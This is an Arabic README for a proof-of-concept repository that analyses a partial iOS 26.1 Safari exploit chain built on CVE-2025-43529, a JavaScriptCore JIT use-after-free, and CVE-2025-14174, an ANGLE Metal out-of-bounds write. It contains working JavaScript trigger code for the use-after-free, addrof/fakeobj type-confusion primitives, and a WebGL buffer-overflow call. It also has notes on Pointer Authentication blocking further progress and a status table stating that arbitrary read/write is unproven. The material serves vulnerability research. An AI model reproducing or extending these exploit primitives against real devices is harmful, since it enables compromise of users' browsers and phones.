
تحليل سلسلة استغلال CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari
ملاحظات ومواد PoC لسلسلة WebKit/ANGLE على iOS 26.1. هذا ليس استغلالًا كاملاً؛ بل يفصل بين البدائيات المؤكدة والأجزاء التي لا تزال تفشل.
المؤلف: zeroxjf
مبني على: jir4vv1t's CVE-2025-43529 exploit
الحالة: سلسلة جزئية؛ القراءة/الكتابة العشوائية غير مثبتة
جهاز الاختبار: iPhone 11 Pro Max، iOS 26.1
آخر تحديث: يناير 2026
مشغّل UAF الخاص بـ CVE-2025-43529، واستعادة الـ butterfly، والبدائيات addrof/fakeobj مبنية على عمل jir4vv1t. إضافاتي هي توصيلات OOB الخاصة بـ ANGLE، والتحليل المركّز على PAC، والتحقق على iOS 26.1.
تم الإفصاح عن ثغرتين في WebKit معًا، وأبلغت Apple عن استخدامهما في البرية (in-the-wild).
| CVE | المكوّن | النوع | الملخص |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | نقص حاجز الكتابة في DFG JIT يؤدي إلى تحرير GC لكائنات حية |
| CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | الواجهة الخلفية Metal تستخدم ارتفاعًا خاطئًا لتخصيص المخزن المؤقت للتحضير (staging buffer) |
الخلل موجود في DFG JIT الخاص بـ JavaScriptCore، وتحديدًا في مرحلة إدراج حاجز التخزين (DFGStoreBarrierInsertionPhase.cpp).
عندما يهرب عقدة Phi (Phi node) ولكن مدخلات Upsilon غير مُعلَّمة على أنها هاربة، فإن عمليات التخزين اللاحقة تفتقد حاجز الكتابة. وهذا يسمح لجامع القمامة (GC) بتحرير كائنات لا تزال قابلة للوصول.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
يمكن استعادة butterfly لكائن Date المحرَّر باستخدام مصفوفات الرش (spray arrays)، مما يُحدث ارتباكًا في الأنواع (type confusion):
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
في الواجهة الخلفية Metal الخاصة بـ ANGLE (TextureMtl.cpp)، يستخدم تخصيص المخزن المؤقت للتحضير (staging buffer) UNPACK_IMAGE_HEIGHT بدلاً من الارتفاع الفعلي للنسيج عند الرفع عبر PBO.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
على معمارية arm64e (iPhone 11 Pro Max)، تحمي رموز مصادقة المؤشر (Pointer Authentication Codes) المؤشرات الحرجة في JSC:
| المؤشر | محمي | النتيجة |
|---|---|---|
TypedArray m_vector | نعم | لا يمكن تزييف TypedArray بمخزن خلفي عشوائي |
JSArray butterfly | نعم | لا يمكن تزييف JSArray بـ butterfly عشوائي |
عند محاولة إنشاء TypedArray/JSArray مزيف بمؤشر بيانات عشوائي، يفشل التحقق من PAC ويحدث انهيار:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
ينجح ارتباك الأنواع لأن كلتا المصفوفتين تستخدمان مؤشرات butterfly موقّعة بشكل شرعي - نحن فقط نعيد تفسير نفس الذاكرة. الكائنات المزيفة بمؤشرات عشوائية غير موقّعة تنهار عند فحص PAC.
addrof، fakeobj، تسريب العناوين، قراءة/كتابة الفتحات الداخلية على كائنات معروفةread64/write64 العشوائية، سلسلة الهروب من العارض إلى GPU، الهروب من وضع الحماية (sandbox)├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
مشغّل CVE-2025-43529، وتقنية استعادة الـ butterfly، وبناء addrof/fakeobj مبنية على jir4vv1t/CVE-2025-43529. يضيف هذا المستودع التحقق على iOS 26.1، وملاحظات PAC، وتوصيلات ANGLE OOB.
الحالة الحالية: مفيد لإعادة إنتاج بدائية JSC وحاجز PAC؛ وليس سلسلة استغلال كاملة.
| البدائية | الحالة | ملاحظات |
|---|
addrof(obj) | يعمل | تم التحقق منه في الفحص |
fakeobj(addr) | يعمل | تم التحقق منه على كائنات معروفة |
| تسريب العناوين | يعمل | أكثر من 20 عنوانًا في كل تشغيل |
| قراءة/كتابة الفتحات الداخلية | يعمل | تم التحقق على الفتحات الداخلية المعروفة (بناءً على عنوان الكائن) |
read64(addr) | غير مُتحقَّق | تم إنشاؤه عبر خدعة الفتحة الداخلية، وفشل الإثبات |
write64(addr) | غير مُتحقَّق | تم إنشاؤه عبر خدعة الفتحة الداخلية، وفشل الإثبات |